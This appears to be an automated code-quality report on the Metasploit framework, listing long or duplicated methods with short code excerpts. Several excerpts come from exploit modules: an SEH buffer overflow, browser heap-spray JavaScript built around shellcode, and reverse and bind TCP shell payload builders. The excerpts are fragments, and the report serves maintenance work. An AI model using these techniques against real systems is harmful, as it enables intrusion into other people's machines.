rapid7/metasploit-framework

Method initialize has 98 lines of code (exceeds 25 allowed). Consider refactoring.

Open

  def initialize(info={})
    super(update_info(info,
      'Name'           => "Aladdin Knowledge System Ltd ChooseFilePath Buffer Overflow",
      'Description'    => %q{
          This module exploits a vulnerability found in Aladdin Knowledge System's

Method exploit has 98 lines of code (exceeds 25 allowed). Consider refactoring.

Open

  def exploit

    overflow = rand_text(target["Offset"])
    overflow << generate_seh_record(target.ret)
    overflow << payload.encoded

Method create_session_key has 98 lines of code (exceeds 25 allowed). Consider refactoring.

Open

    def self.create_session_key(ntlmssp_flags, server_ntlmssp_flags, user, pass, domain, challenge_key,
            client_challenge = '', ntlm_cli_challenge = '' , opt = {} )

      usentlm2_session     = opt[:usentlm2_session]    != nil ? opt[:usentlm2_session] : true
      use_ntlmv2         = opt[:use_ntlmv2]         != nil ? opt[:use_ntlmv2] : false

Method cmd_creds_help has 98 lines of code (exceeds 25 allowed). Consider refactoring.

Open

  def cmd_creds_help
    print_line
    print_line "With no sub-command, list credentials. If an address range is"
    print_line "given, show only credentials with logins on hosts within that"
    print_line "range."

Method f5_config_eater has 98 lines of code (exceeds 25 allowed). Consider refactoring.

Open

    def f5_config_eater(thost, tport, config, store = true)

      credential_data = {
        address: thost,
        port: tport,

Method asm_bind_tcp has 98 lines of code (exceeds 25 allowed). Consider refactoring.

Open

  def asm_bind_tcp(opts={})

    #reliable     = opts[:reliable]
    af_inet = 2

Method asm_reverse_tcp has 98 lines of code (exceeds 25 allowed). Consider refactoring.

Open

  def asm_reverse_tcp(opts={})
    # TODO: reliability is coming
    retry_count  = opts[:retry_count]
    encoded_port = "0x%.8x" % [opts[:port].to_i, 2].pack("vn").unpack("N").first
    encoded_host = "0x%.8x" % Rex::Socket.addr_aton(opts[:host]||"127.127.127.127").unpack("V").first

Similar blocks of code found in 2 locations. Consider refactoring.

Open

                    elif str(attribute['type']) == 'lastLogon':
                        if str(attribute['vals'][0]) == '0':
                            lastLogon = '<never>'
                        else:
                            lastLogon = str(datetime.fromtimestamp(self.getUnixTime(int(str(attribute['vals'][0])))))

• Read up
  Read up

Similar blocks of code found in 2 locations. Consider refactoring.

Open

                    elif str(attribute['type']) == 'pwdLastSet':
                        if str(attribute['vals'][0]) == '0':
                            pwdLastSet = '<never>'
                        else:
                            pwdLastSet = str(datetime.fromtimestamp(self.getUnixTime(int(str(attribute['vals'][0])))))

• Read up
  Read up

Identical blocks of code found in 2 locations. Consider refactoring.

Open

  def on_request_uri( cli, request )
    data = ""
    host = ""
    port = ""

• Read up
  Read up

Identical blocks of code found in 2 locations. Consider refactoring.

Open

  def on_request_uri( cli, request )
    data = ""
    host = ""
    port = ""

• Read up
  Read up

Identical blocks of code found in 3 locations. Consider refactoring.

Open

  def on_request_uri(cli, request)

    # For this exploit, this does little besides ensures the user agent is a recognized one..
    mytarget = target
    if target.name == 'Automatic'

• Read up
  Read up

Identical blocks of code found in 3 locations. Consider refactoring.

Open

  def on_request_uri(cli, request)

    # For this exploit, this does little besides ensures the user agent is a recognized one..
    mytarget = target
    if target.name == 'Automatic'

• Read up
  Read up

Identical blocks of code found in 3 locations. Consider refactoring.

Open

  def on_request_uri(cli, request)

    # For this exploit, this does little besides ensures the user agent is a recognized one..
    mytarget = target
    if target.name == 'Automatic'

• Read up
  Read up

Similar blocks of code found in 5 locations. Consider refactoring.

Open

    content = %Q|
      <html>
        <object id='#{vname}' classid='clsid:0A5FD7C5-A45C-49FC-ADB5-9952547D5715'></object>
        <script language="JavaScript">
        var #{rand1} = unescape('#{shellcode}');

• Read up
  Read up

Similar blocks of code found in 5 locations. Consider refactoring.

Open

    content = %Q|
<html>
  <script language="javascript">
  var #{rand1}='<object classid="clsid:C932BA85-4374-101B-A56C-00AA003668DC"><param name="Mask" value="';
  var #{rand2}='"></object>';

• Read up
  Read up

Similar blocks of code found in 5 locations. Consider refactoring.

Open

    html = %Q|
      <html>
      <head>
        <script>
          try {

• Read up
  Read up

Similar blocks of code found in 5 locations. Consider refactoring.

Open

#{j_nops}=unescape('#{nops}');
#{j_headersize}=20;
#{j_slackspace}=#{j_headersize}+#{j_shellcode}.length;
while(#{j_nops}.length<#{j_slackspace})#{j_nops}+=#{j_nops};
#{j_fillblock}=#{j_nops}.substring(0,#{j_slackspace});

• Read up
  Read up

Similar blocks of code found in 5 locations. Consider refactoring.

Open

    script = %Q|
    var #{rand1} = unescape("#{shellcode}");
    var #{randnop} = "#{nops}";
    var #{rand2} ="";
    for (#{rand3}=128;#{rand3}>=0;--#{rand3}) #{rand2} += unescape(#{randnop});

• Read up
  Read up

Similar blocks of code found in 2 locations. Consider refactoring.

Open

  def initialize(info = {})
    super(merge_info(info,
      'Name'          => 'Linux Command Shell, Reverse TCP Inline',
      'Description'   => 'Connect back to attacker and spawn a command shell',
      'Author'        => 'Ramon de C Valle',

• Read up
  Read up